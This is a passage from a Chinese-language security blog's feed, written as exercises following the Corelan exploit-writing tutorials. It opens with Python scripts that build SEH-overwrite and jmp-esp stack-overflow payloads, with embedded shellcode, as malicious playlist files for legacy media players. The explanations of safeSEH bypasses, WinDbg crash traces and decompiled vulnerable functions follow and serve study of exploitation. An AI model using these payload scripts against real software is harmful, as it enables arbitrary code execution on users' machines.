<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x37\x44\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4f\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x53\x31\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x57\x36\x58\x4d\x30\x54\x35\x4b\x46\x45\x53\x53</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4d\x4b\x48\x37\x4b\x53\x4d\x57\x54\x32\x55\x4a</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x44\x31\x48\x4c\x4b\x30\x58\x56\x44\x45\x51\x59</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x43\x52\x46\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x38\x45\x4c\x45\x51\x59\x43\x4c\x4b\x55\x54\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x33\x31\x58\x50\x4d\x59\x51\x54\x37\x54\x31</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x34\x31\x4b\x51\x4b\x53\x51\x31\x49\x51\x4a\x46</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x31\x4a\x4c</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x52\x32\x5a\x4b\x4c\x4d\x51\x4d\x42\x4a\x33</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x31\x4c\x4d\x4c\x45\x4e\x52\x55\x50\x53\x30\x43</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x50\x50\x45\x38\x56\x51\x4c\x4b\x32\x4f\x4b</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x37\x4b\x4f\x49\x45\x4f\x4b\x4a\x50\x48\x35\x4f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x52\x30\x56\x33\x58\x59\x36\x4c\x55\x4f\x4d\x4d</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4d\x4b\x4f\x58\x55\x57\x4c\x44\x46\x53\x4c\x35</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x5a\x4b\x30\x4b\x4b\x4d\x30\x33\x45\x53\x35\x4f</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4b\x37\x37\x35\x43\x42\x52\x42\x4f\x42\x4a\x45</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x50\x46\x33\x4b\x4f\x49\x45\x43\x53\x35\x31\x52</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x4c\x43\x53\x56\x4e\x33\x55\x32\x58\x52\x45\x53</span><span class="s">"</span>
<span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x30\x41\x41</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">next_seh</span> <span class="o">+</span> <span class="n">handler</span> <span class="o">+</span> <span class="n">shellcode</span> <span class="o">+</span> <span class="n">junk</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"crash.plf"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<p>完美主义者总是喜欢刨根问题,经过调试后可以知道函数的相互调用关系,大致可以看出对文件内容做了哪些操作,漏洞函数的返回地址为<code class="language-plaintext highlighter-rouge">6400f04f</code>,在函数<code class="language-plaintext highlighter-rouge">sub_6400F030</code>中,其只是个wrapper函数,直接调用漏洞函数。更上一层的返回地址为<code class="language-plaintext highlighter-rouge">6400de40</code>,在函数<code class="language-plaintext highlighter-rouge">sub_6400DCC0</code>,其中还有一个do while循环的过程:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">else</span>
<span class="p">{</span>
<span class="n">sub_6404677C</span><span class="p">(</span><span class="o">&</span><span class="n">v20</span><span class="p">);</span>
<span class="n">LOBYTE</span><span class="p">(</span><span class="n">v25</span><span class="p">)</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">sub_640467F1</span><span class="p">(</span><span class="n">pszPath</span><span class="p">,</span> <span class="mh">0x4000</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v19</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)</span><span class="n">off_64068DA8</span><span class="p">;</span>
<span class="n">v10</span> <span class="o">=</span> <span class="o">*</span><span class="n">v3</span><span class="p">;</span>
<span class="n">v11</span> <span class="o">=</span> <span class="o">*</span><span class="n">v3</span><span class="p">;</span>
<span class="n">v12</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__thiscall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_DWORD</span><span class="p">,</span> <span class="n">_DWORD</span><span class="p">,</span> <span class="n">_DWORD</span><span class="p">,</span> <span class="n">_DWORD</span><span class="p">,</span> <span class="n">_DWORD</span><span class="p">))</span><span class="o">*</span><span class="n">v2</span><span class="p">[</span><span class="mi">59</span><span class="p">];</span>
<span class="n">LOBYTE</span><span class="p">(</span><span class="n">v25</span><span class="p">)</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">v13</span> <span class="o">=</span> <span class="n">PathFindFileNameA</span><span class="p">(</span><span class="n">v11</span><span class="p">);</span>
<span class="p">(</span><span class="o">*</span><span class="n">v12</span><span class="p">)(</span><span class="n">v2</span><span class="p">[</span><span class="mi">59</span><span class="p">],</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">v13</span><span class="p">,</span> <span class="n">v10</span><span class="p">);</span>
<span class="n">v14</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">sub_640469D4</span><span class="p">(</span><span class="o">&</span><span class="n">v20</span><span class="p">,</span> <span class="o">&</span><span class="n">v19</span><span class="p">)</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">do</span>
<span class="p">{</span>
<span class="n">v15</span> <span class="o">=</span> <span class="n">v19</span><span class="p">;</span>
<span class="n">v16</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__thiscall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_DWORD</span><span class="p">,</span> <span class="n">_DWORD</span><span class="p">,</span> <span class="n">_DWORD</span><span class="p">,</span> <span class="n">_DWORD</span><span class="p">,</span> <span class="n">_DWORD</span><span class="p">))</span><span class="o">*</span><span class="n">v2</span><span class="p">[</span><span class="mi">59</span><span class="p">];</span>
<span class="n">v17</span> <span class="o">=</span> <span class="n">PathFindFileNameA</span><span class="p">(</span><span class="n">v19</span><span class="p">);</span>
<span class="p">(</span><span class="o">*</span><span class="n">v16</span><span class="p">)(</span><span class="n">v2</span><span class="p">[</span><span class="mi">59</span><span class="p">],</span> <span class="mi">1</span><span class="p">,</span> <span class="n">v14</span><span class="o">++</span><span class="p">,</span> <span class="n">v17</span><span class="p">,</span> <span class="n">v15</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">while</span> <span class="p">(</span> <span class="n">sub_640469D4</span><span class="p">(</span><span class="o">&</span><span class="n">v20</span><span class="p">,</span> <span class="o">&</span><span class="n">v19</span><span class="p">)</span> <span class="p">);</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">(*v16)(v2[59], 1, v14++, v17, v15);</code>动态调用漏洞函数,这个过程和函数<code class="language-plaintext highlighter-rouge">sub_640469D4</code>的结果可能就决定了plf的文件格式。在调试过程中发现,即使文件内容全为大写字符也出现不进入漏洞函数或者多次进入漏洞函数的情况。搜索得知plf是该软件的独有格式,如果全部逆向清楚各种影响shellcode的格式,可能还是会花费一个星期,这样是没有意义的,直接有效的shellcode对漏洞利用过程来说就是高效的,要时刻记住我们的终极目标,当然对逆向工程比较感兴趣的同学可以继续逆一逆。</p>
<p>如果直接覆盖返回地址来完成漏洞利用,那么关键的便是第二次的strcpy,目的栈地址的偏移为0x104,和原文中一致。使用MediaPlayerCtrl中<code class="language-plaintext highlighter-rouge">jmp esp</code>的地址和大写字母的shellcode同样可以弹出计算器:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">padding</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">260</span>
<span class="n">ret</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x0b\xea\x05\x64</span><span class="s">"</span> <span class="c1"># 6405ea0b jmp esp
</span><span class="n">nop</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x90</span><span class="s">"</span> <span class="o">*</span> <span class="mi">16</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">1000</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">padding</span> <span class="o">+</span> <span class="n">ret</span> <span class="o">+</span> <span class="n">nop</span> <span class="o">+</span> <span class="n">shellcode</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"crash.plf"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</code></pre></div></div>
<h1>0x03 工具使用</h1>
<p>原文中介绍了<a href="https://www.immunityinc.com/products/debugger/">Immunity Debugger</a>和其插件的使用,可以使用他人写好的插件的和py命令来加速漏洞利用的过程,插件的道理和Ollydbg类似,但API的逻辑和编写使用还是需要时间理解的。另外,作者在<a href="https://www.corelan.be/index.php/2012/12/31/jingle-bofs-jingle-rops-sploiting-all-the-things-with-mona-v2/">2012年</a>把mona.py移植到了windbg下(完美主义者的福音)。文章和使用例子都写得很清楚,我也就不赘述了,可以大致总结下漏洞利用的过程:</p>
<ol>
<li>确定漏洞触发点。</li>
<li>根据安全机制和漏洞环境确定漏洞利用方案。</li>
<li>对整个漏洞利用过程的完善调试。</li>
</ol>
<h1>0x04 总结</h1>
<p>这么长时间没有更新博客的原因,是在对该软件的破解花费了一个星期的时间,因为逆向思路的不清晰,在最后快要放弃的时候出现了转机。韶华宝贵,始终要以漏洞利用的目标为导向,这当然也要和完美的分析过程相互平衡的。也想到了一个解决钻牛角尖的办法,设定一个钻的时间,可能是因为知识的水平不够或者思路不够清晰,导致时间已过问题还没解决,那就暂且放一放继续前往终极目标,这个遗留的问题可以交给潜意思、时间和交流等方法来化解。</p>
<p>使用工具是我们人类的一个特点,私以为漏洞利用也是如此,加速的工具只是器,顶多算得上是优秀的术,其中的道是相对不变的,对道的完全掌握自然可以达到手中无剑心中有,我自然也是喜欢这种感觉的。</p>
Larryxi
0x00 环境搭建 Part4主要是利用msf框架来完成exploit模块,用的例子也是做吐的socket接数据strcpy至栈上造成溢出,感兴趣的同学可以参看Exploit Development in the Metasploit Framework。所以会主要过一遍Part5的内容,还是以一个实际的漏洞来介绍工具的使用加速漏洞利用的过程,Byakugan很长时间没有更新了,本文则以Immunity Debugger为主。
Learn Corelan Exploit Writing Part 3
2018-08-11T00:00:00+00:00
2018-08-11T00:00:00+00:00
https://larryxi.github.io/2018/08/11/learn-corelan-exploit-writing-part-three
<h1>0x00 环境搭建</h1>
<p>戏剧家洪深说:我的梦想,是明年吃苦的能力比今年更强。<a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">Part3</a> 和 <a href="https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/">Part3b</a> 都是以真实漏洞为例,讲解了一下SEH的原理和基于SEH的漏洞利用。在这里推荐去看《逆向工程核心原理》的第48章结合案例调试理解SEH的原理,再结合《0day》的相关章节了解SEH和safaSEH的利用和绕过方法。</p>
<!-- more -->
<p>因为xp sp2往后,微软引入了SEH的安全校验机制safeSEH,需要操作系统和编译的双重支持。在《0day》中也很详细地说明了在safeSEH下Rt1IsValidHandler函数允许异常处理函数执行的情况:</p>
<ol>
<li>异常处理函数位于加载模块内存范围之外,DEP关闭。</li>
<li>异常处理函数位于加载模块内存范围之内,相应模块未启用safeSEH,同时相应模块不是纯IL。</li>
<li>异常处理函数位于加载模块内存范围之内,相应模块启用safeSEH,异常处理函数地址包含在安全SEH表中。</li>
</ol>
<p>对应给出的绕过方案为(均不考虑DEP):</p>
<ol>
<li>利用加载模块之外的地址。</li>
<li>利用未启用safeSEH模块中的地址。</li>
<li>清空安全SEH表或注册指令地址至安全SEH表中。</li>
<li>攻击返回地址、利用虚函数、从堆中绕过等其他通往罗马的大路。</li>
</ol>
<p>同时,《0day》在SEH的章节中还讲解了线程的异常处理(遍历SEH)、进程的异常处理、系统默认的异常处理、VEH和异常处理流程总结,都是值得一读的全局观知识。后文的实验环境还是在关闭安全机制的win7上进行的,而且SEHOP保护机制在win7中是默认关闭的,暂且不表。</p>
<h1>0x01 漏洞利用原理</h1>
<p>代表SEH的结构体定义如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">_EXCEPTION_REGISTRATION_RECORD</span>
<span class="p">{</span>
<span class="n">PEXCEPTION_REGISTRATION_RECORD</span> <span class="n">Next</span><span class="p">;</span>
<span class="n">PEXCEPTION_DISPOSITION</span> <span class="n">Handler</span><span class="p">;</span>
<span class="p">}</span> <span class="n">EXCEPTION_REGISTRATION_RECORD</span><span class="p">,</span> <span class="o">*</span><span class="n">PEXCEPTION_REGISTRATION_RECORD</span><span class="p">;</span>
</code></pre></div></div>
<p>基于SEH的漏洞利用基本上是将Next的4个字节覆盖为短跳加nop填充,handler覆盖为<code class="language-plaintext highlighter-rouge">pop pop ret</code>的gadget地址。为什么<code class="language-plaintext highlighter-rouge">pop pop ret</code>后eip就会转去短跳执行shellcode呢,先让我们来看看SEH异常处理函数的定义:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">EXCEPTION_DISPOSITION</span> <span class="nf">_exception_handler</span>
<span class="p">(</span>
<span class="n">EXCEPTION_RECORD</span> <span class="o">*</span><span class="n">pRecord</span><span class="p">,</span>
<span class="n">EXCEPTION_REGISTRATION_RECORD</span> <span class="o">*</span><span class="n">pFrame</span><span class="p">,</span>
<span class="n">CONTEXT</span> <span class="o">*</span><span class="n">pContext</span><span class="p">,</span>
<span class="n">PVOID</span> <span class="n">pValue</span>
<span class="p">);</span>
</code></pre></div></div>
<p>在触发异常后调用异常处理函数,肯定会把相应的参数压栈,考虑到返回地址,<code class="language-plaintext highlighter-rouge">esp+8</code>处的地址也就指向了Frame,所以ret后eip转而去执行其上的代码,而pFrame正是指向我们溢出覆盖的Next Record,一个短跳越过可能被破坏的栈空间后,即可执行shellcode了。</p>
<p>《0day》中并没有详细提及该漏洞利用背后的原理,当初我做这个<a href="https://larry.ngrep.me/2017/10/22/0day-safeseh-bypass-exercise/">实验</a>的时候也只是调通了而已,再次温习SEH相关知识后才有了进一步了认识。当然,在Part3中也专门介绍了一下其能够漏洞利用的原因,微软的博客上也有清晰的解释:<a href="https://blogs.technet.microsoft.com/srd/2009/02/02/preventing-the-exploitation-of-structured-exception-handler-seh-overwrites-with-sehop/">Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP</a>。</p>
<h1>0x02 漏洞案例</h1>
<p>原文中的漏洞案例都是利用未开启safeSEH模块中的地址,在调试过程中可以关注一下寄存器相互xor的情况,短跳之前栈空间的破坏情况。</p>
<h2>example A</h2>
<p>example A是在Part3中下载的Soritong MP3 Player,在win 7上运行的时候一开始提示缺少wmaudsdk.dll、DRMClien.DLL、strmdll.dll这三个dll,逐一去<a href="https://www.dll4free.com/">dll4free</a>上面下载就可以了。</p>
<p>将生成的5000字节patter作为UI.txt放置在<code class="language-plaintext highlighter-rouge">SoriTong/Skin/Default</code>目录下,然后在windbg中执行打开并恢复程序执行后,和预期一样发生了异常将控制权交给调试器:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(d98.748): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=0012fb08 edx=77f070b4 esi=fffffffe edi=00000000
eip=77f604f6 esp=0012fb24 ebp=0012fb50 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -
ntdll!LdrVerifyImageMatchesChecksum+0x633:
77f604f6 cc int 3
0:000> g
ModLoad: 41840000 4185f000 C:\Windows\system32\IMM32.DLL
ModLoad: 70990000 70a5c000 C:\Windows\system32\MSCTF.dll
ModLoad: 6ce70000 6ceb0000 C:\Windows\system32\uxtheme.dll
ModLoad: 40e50000 40e63000 C:\Windows\system32\dwmapi.dll
ModLoad: 10000000 1000c000 C:\Windows\system32\CRYPTBASE.dll
ModLoad: 75c00000 75d9e000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.DLL
ModLoad: 6c980000 6c9b9000 C:\Windows\system32\MMDevAPI.DLL
ModLoad: 1d300000 1d3f5000 C:\Windows\system32\PROPSYS.dll
ModLoad: 41bc0000 41bf0000 C:\Windows\system32\wdmaud.drv
ModLoad: 40300000 40304000 C:\Windows\system32\ksuser.dll
ModLoad: 75400000 75407000 C:\Windows\system32\AVRT.dll
ModLoad: 734b0000 7364d000 C:\Windows\system32\SETUPAPI.dll
ModLoad: 6d000000 6d027000 C:\Windows\system32\CFGMGR32.dll
ModLoad: 05040000 05052000 C:\Windows\system32\DEVOBJ.dll
ModLoad: 6cd40000 6cd76000 C:\Windows\system32\AUDIOSES.DLL
ModLoad: 40280000 40288000 C:\Windows\system32\msacm32.drv
ModLoad: 40ba0000 40bb4000 C:\Windows\system32\MSACM32.dll
ModLoad: 40290000 40297000 C:\Windows\system32\midimap.dll
ModLoad: 02b40000 02bd4000 C:\Program Files\SoriTong\Player.DLL
ModLoad: 42100000 42129000 C:\Program Files\SoriTong\wmaudsdk.dll
ModLoad: 097e0000 09821000 C:\Program Files\SoriTong\DRMClien.DLL
ModLoad: 5bc60000 5bc9f000 C:\Program Files\SoriTong\strmdll.dll
ModLoad: 3fd10000 3fd17000 C:\Windows\system32\WSOCK32.dll
ModLoad: 41ac0000 41af5000 C:\Windows\system32\WS2_32.dll
ModLoad: 40160000 40166000 C:\Windows\system32\NSI.dll
ModLoad: 41c80000 41cb2000 C:\Windows\system32\TAPI32.dll
(d98.748): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130000 ebx=00000003 ecx=00000042 edx=00000042 esi=002c5504 edi=0012fd2c
eip=00422e33 esp=0012d9dc ebp=0012fd00 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
*** WARNING: Unable to verify checksum for SoriTong.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for SoriTong.exe -
SoriTong!TmC13_5+0x3ea3:
00422e33 8810 mov byte ptr [eax],dl ds:0023:00130000=41
</code></pre></div></div>
<p>提示是非法的内存访问,看寄存器是没什么问题,可能是对应内存地址处没有写权限,也可以验证一下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> !address 00130000
Usage: MemoryMappedFile
Allocation Base: 00130000
Base Address: 00130000
End Address: 00134000
Region Size: 00004000
Type: 00040000 MEM_MAPPED
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Mapped file name: PageFile
</code></pre></div></div>
<p>紧接着查看SEH链可以确定偏移为584:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> !exchain
0012fd2c: 41367441
Invalid exception stack at 35744134
0:000> db 0012fd2c-0n584-0n16 L20
0012fad4 f4 fa 12 00 3f 39 45 00-11 00 00 00 00 00 00 00 ....?9E.........
0012fae4 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
</code></pre></div></div>
<p>因为有了栈溢出才会向下覆盖至SEH Handler,所以漏洞点肯定在发生异常的附近。可以在<code class="language-plaintext highlighter-rouge">SoriTong!TmC13_5</code>中下断点,或者在栈地址<code class="language-plaintext highlighter-rouge">0012fae4</code>下硬件断点,又或者在IDA中寻找<code class="language-plaintext highlighter-rouge">UI.txt</code>的交叉引用都可以找到漏洞函数:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">__usercall</span> <span class="n">sub_422D44</span><span class="err">@</span><span class="o"><</span><span class="n">eax</span><span class="o">></span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="err">@</span><span class="o"><</span><span class="n">eax</span><span class="o">></span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="err">@</span><span class="o"><</span><span class="n">edx</span><span class="o">></span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="err">@</span><span class="o"><</span><span class="n">ecx</span><span class="o">></span><span class="p">,</span> <span class="kt">char</span> <span class="n">a4</span><span class="err">@</span><span class="o"><</span><span class="n">sil</span><span class="o">></span><span class="p">,</span> <span class="kt">int</span> <span class="n">a5</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a6</span><span class="p">,</span> <span class="n">LPCSTR</span> <span class="n">lpString2</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax@2</span>
<span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// eax@3</span>
<span class="kt">int</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// ebx@3</span>
<span class="kr">__int32</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// eax@5</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">v11</span><span class="p">;</span> <span class="c1">// esi@5</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">v12</span><span class="p">;</span> <span class="c1">// eax@6</span>
<span class="kt">char</span> <span class="n">v13</span><span class="p">;</span> <span class="c1">// dl@11</span>
<span class="kt">int</span> <span class="n">v14</span><span class="p">;</span> <span class="c1">// ecx@11</span>
<span class="kt">int</span> <span class="n">v15</span><span class="p">;</span> <span class="c1">// eax@16</span>
<span class="kt">signed</span> <span class="kt">int</span> <span class="n">v16</span><span class="p">;</span> <span class="c1">// ebx@18</span>
<span class="kt">int</span> <span class="n">v17</span><span class="p">;</span> <span class="c1">// edx@19</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">j</span><span class="p">;</span> <span class="c1">// eax@34</span>
<span class="kt">int</span> <span class="n">v19</span><span class="p">;</span> <span class="c1">// edx@35</span>
<span class="kt">int</span> <span class="n">k</span><span class="p">;</span> <span class="c1">// ebx@51</span>
<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">v21</span><span class="p">;</span> <span class="c1">// esi@54</span>
<span class="n">CHAR</span> <span class="n">String</span><span class="p">;</span> <span class="c1">// [sp+0h] [bp-231Ch]@55</span>
<span class="kt">char</span> <span class="n">v23</span><span class="p">[</span><span class="mi">8192</span><span class="p">];</span> <span class="c1">// [sp+100h] [bp-221Ch]@18</span>
<span class="kt">char</span> <span class="n">s</span><span class="p">;</span> <span class="c1">// [sp+2100h] [bp-21Ch]@6</span>
<span class="kt">char</span> <span class="n">v25</span><span class="p">[</span><span class="mi">255</span><span class="p">];</span> <span class="c1">// [sp+2101h] [bp-21Bh]@33</span>
<span class="n">CHAR</span> <span class="n">String1</span><span class="p">;</span> <span class="c1">// [sp+2200h] [bp-11Ch]@3</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">i</span><span class="p">;</span> <span class="c1">// [sp+2300h] [bp-1Ch]@18</span>
<span class="kt">int</span> <span class="n">v28</span><span class="p">;</span> <span class="c1">// [sp+2304h] [bp-18h]@18</span>
<span class="kt">int</span> <span class="n">v29</span><span class="p">;</span> <span class="c1">// [sp+2308h] [bp-14h]@18</span>
<span class="kt">int</span> <span class="n">v30</span><span class="p">;</span> <span class="c1">// [sp+230Ch] [bp-10h]@6</span>
<span class="n">LPSTR</span> <span class="n">lpString1</span><span class="p">;</span> <span class="c1">// [sp+2310h] [bp-Ch]@5</span>
<span class="n">HGLOBAL</span> <span class="n">v32</span><span class="p">;</span> <span class="c1">// [sp+2314h] [bp-8h]@3</span>
<span class="n">HGLOBAL</span> <span class="n">hMem</span><span class="p">;</span> <span class="c1">// [sp+2318h] [bp-4h]@3</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">a6</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">hMem</span> <span class="o">=</span> <span class="n">GlobalAlloc</span><span class="p">(</span><span class="mh">0x40u</span><span class="p">,</span> <span class="mh">0x8000u</span><span class="p">);</span>
<span class="n">v32</span> <span class="o">=</span> <span class="n">GlobalAlloc</span><span class="p">(</span><span class="mh">0x40u</span><span class="p">,</span> <span class="mh">0x8000u</span><span class="p">);</span>
<span class="n">lstrcpyA</span><span class="p">(</span><span class="o">&</span><span class="n">String1</span><span class="p">,</span> <span class="n">lpString2</span><span class="p">);</span>
<span class="n">lstrcatA</span><span class="p">(</span><span class="o">&</span><span class="n">String1</span><span class="p">,</span> <span class="n">aUi_txt_11</span><span class="p">);</span>
<span class="n">v8</span> <span class="o">=</span> <span class="n">j____open</span><span class="p">(</span><span class="o">&</span><span class="n">String1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">a4</span><span class="p">);</span>
<span class="n">v9</span> <span class="o">=</span> <span class="n">v8</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v8</span> <span class="o">>=</span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v10</span> <span class="o">=</span> <span class="n">filelength</span><span class="p">(</span><span class="n">v8</span><span class="p">);</span>
<span class="n">j____read</span><span class="p">(</span><span class="n">v9</span><span class="p">,</span> <span class="n">hMem</span><span class="p">,</span> <span class="n">v10</span><span class="p">);</span>
<span class="n">j____close</span><span class="p">(</span><span class="n">v9</span><span class="p">);</span>
<span class="n">v11</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">hMem</span><span class="p">;</span>
<span class="n">lpString1</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPSTR</span><span class="p">)</span><span class="n">v32</span><span class="p">;</span>
<span class="n">lstrcpyA</span><span class="p">((</span><span class="n">LPSTR</span><span class="p">)</span><span class="n">v32</span><span class="p">,</span> <span class="o">&</span><span class="n">byte_4AA13F</span><span class="p">);</span>
<span class="k">while</span> <span class="p">(</span> <span class="o">*</span><span class="n">v11</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v30</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x100u</span><span class="p">);</span>
<span class="n">v12</span> <span class="o">=</span> <span class="o">&</span><span class="n">s</span><span class="p">;</span>
<span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v13</span> <span class="o">=</span> <span class="o">*</span><span class="n">v11</span><span class="p">;</span>
<span class="n">v14</span> <span class="o">=</span> <span class="o">*</span><span class="n">v11</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v14</span> <span class="o">==</span> <span class="mi">13</span> <span class="o">||</span> <span class="n">v14</span> <span class="o">==</span> <span class="mi">10</span> <span class="o">||</span> <span class="o">!</span><span class="n">v13</span> <span class="p">)</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">v14</span> <span class="o">==</span> <span class="mi">9</span> <span class="p">)</span>
<span class="o">*</span><span class="n">v12</span> <span class="o">=</span> <span class="mi">32</span><span class="p">;</span>
<span class="k">else</span>
<span class="o">*</span><span class="n">v12</span> <span class="o">=</span> <span class="n">v13</span><span class="p">;</span>
<span class="o">++</span><span class="n">v30</span><span class="p">;</span>
<span class="o">++</span><span class="n">v12</span><span class="p">;</span>
<span class="o">++</span><span class="n">v11</span><span class="p">;</span>
